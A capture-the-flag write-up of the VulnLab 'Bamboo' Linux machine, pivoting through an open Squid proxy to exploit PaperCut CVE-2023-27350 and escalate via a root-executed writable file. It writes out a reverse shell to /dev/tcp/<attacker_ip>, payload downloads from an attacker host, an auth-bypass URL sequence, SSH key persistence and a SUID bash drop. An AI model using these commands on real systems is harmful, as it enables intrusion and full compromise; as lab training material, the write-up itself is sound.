← Tous les articles

Machine (Medium) - Bamboo

Raphael Benoit4 min de lecture
Partager
Sommaire

Writeup for the Bamboo machine, a medium-difficulty Linux box which demonstrates how exposed infrastructure, like an internal HTTP proxy and misconfigured PaperCut server, can lead to a full system compromise. The exploitation chain combines network pivoting, unauthenticated RCE, SSH persistence, and privilege escalation via a writable file executed by root.

Writeup Author: BobBuilder


Objective: Exploit an internal-only web service via Squid proxy, achieve initial access with a reverse shell, and escalate to root via a writable script invoked by a privileged cron job.

Category Difficulty Platform Machine Author
Machine Medium Linux xct

Bamboo VulnLab overview


User

Port Scan and Initial Discovery

The initial Nmap scan shows only two open ports:

22/tcp     ssh       OpenSSH 8.9p1  
3128/tcp   http-proxy Squid proxy 5.2

This suggests that most services are not directly accessible — however, the Squid proxy on port 3128 is misconfigured and allows unauthenticated access.

To confirm the proxy is working:

curl -x http://<bamboo_ip>:3128 http://<attacker_ip>/test

And on our HTTP server:

python3 -m http.server 80

We observe that the target makes a request to our listener — confirming the proxy is usable from the outside.

Internal Service Discovery via the Proxy

To find hidden services behind the proxy, we use a threaded Python scanner that attempts connections through the proxy: Here is the simple scanner I made for this: SquidProxyScanner

python3 squidscan.py --proxy http://<bamboo_ip>:3128

This reveals several services accessible via 127.0.0.1, including:

22, 9173, 9174, 9191, 9192, 9195

One of them (9191) is particularly interesting — it’s a known port used by PaperCut NG, a print management system vulnerable to unauthenticated RCE (CVE-2023-27350).

Remote Code Execution via CVE-2023-27350

https://github.com/horizon3ai/CVE-2023-27350

We configure proxychains to route requests through Squid:

proxychains4 python3 CVE-2023-27350.py --url http://127.0.0.1:9191 -c "wget http://<attacker_ip>/bash_rev"

Where bash_rev is a simple reverse shell payload:

bash -i >& /dev/tcp/<attacker_ip>/4242 0>&1

We trigger it:

proxychains4 python3 CVE-2023-27350.py --url http://127.0.0.1:9191 -c "bash bash_rev"

This gives us a shell as the papercut user.

Confirming and Maintaining Access

Within /home/papercut/server/server.properties, we discover the admin.password is hashed, preventing further privilege escalation via the web UI (Source). However, since we already have a shell, we can persist access by planting an SSH key:

mkdir /home/papercut/.ssh && echo "ssh-ed25519 AAAA... kali@kali" >> /home/papercut/.ssh/authorized_keys

Root

Finding the Escalation Vector

After gaining a shell as papercut, we transfer and run linpeas.sh to enumerate potential privilege escalation paths:

wget http://<attacker_ip>/linpeas.sh
bash linpeas.sh

linpeas highlights several service files located in /home/papercut/server/bin/linux-x64/ that are world-readable and writable by the current user. These are referenced by systemd service units and likely tied to the running PaperCut stack. Bamboo VulnLab screenshot 2 Bamboo VulnLab screenshot 3

Investigating PaperCut Interface

To figure out how to trigger the execution manually, we explore the PaperCut web admin panel. Authentication is required, but we reuse the CVE-2023-27350 bypass we exploited earlier:

  • Visit: http://127.0.0.1:9191/app?service=page/SetupCompleted
  • Then: http://127.0.0.1:9191/app?service=page/Dashboard

Bamboo VulnLab screenshot 4

This bypasses login and drops us directly into the dashboard.

Then we:

  • Click "Enable Printing" from the left sidebar menu
  • Click the "Print Deploy" button
  • In the queue options, select "Import BYOD Friendly Print Queue" Bamboo VulnLab screenshot 5
  • Click the "Next" button to continue Bamboo VulnLab screenshot 6
  • On the Import Mobility Print Queues screen, click "Start Importing Mobility Print printers" Bamboo VulnLab screenshot 7
  • Finally, click the "Refresh Servers" button Bamboo VulnLab screenshot 8

While this runs, pspy64 shows multiple root-level executions of server-command. We now know how to force the trigger.

We run pspy64 to monitor background tasks and confirm how root interacts with this software:

./pspy64

We observe this repeated execution by root:

CMD: UID=0 | /home/papercut/server/bin/linux-x64/server-command get-config health.api.key

This confirms that root periodically executes the server-command file — and we have write access to it.

Exploiting the Writable Script

We overwrite server-command with a payload that drops a SUID bash shell:

echo 'cp /bin/bash /tmp/suidbash && chmod u+s /tmp/suidbash' > /home/papercut/server/bin/linux-x64/server-command

Then we return to the web interface and click Refresh Servers. After a few seconds, we verify that our payload executed:

ls -l /tmp/suidbash
# -rwsr-xr-x 1 root root ...

Now we spawn a root shell:

/tmp/suidbash -p
whoami
# root

Également publié sur ADMinions ↗